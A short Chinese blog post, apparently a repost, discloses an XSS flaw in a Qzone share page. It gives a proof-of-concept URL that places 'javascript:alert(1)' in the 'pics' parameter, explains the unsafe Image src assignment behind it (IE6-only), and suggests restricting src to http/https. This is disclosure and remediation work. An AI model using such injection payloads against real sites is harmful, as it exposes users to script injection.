XSS漏洞: new Image().src = 'javascript:alert(1)';

来源:互联网 发布:sql count 1 编辑:程序博客网 时间:2024/05/24 05:03

百度空间改得都不知怎么用了,把一些以前的文章重新发过来


今天又发现了一个XSS,*_*, 给大家发下,引以为戒:
 
链接:
http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http://www.80vul.com&title=22222&summary=333&pics=javascript:alert(1)&url=52
 
 
原因在于页面代码里有一段
var img = new Image();
img.src = getParamter('pics');
 
相当于 new Image().src = 'javascript:alert(1)';
这里就被XSS了;只在IE6下可以执行效。
 
 
解决方法:
限制img标签的src属性始终以http://或https://开头
 
大家可以参考
http://ha.ckers.org/xss.html 
里面还有各种BACKGROUND等相类似的XSS

原创粉丝点击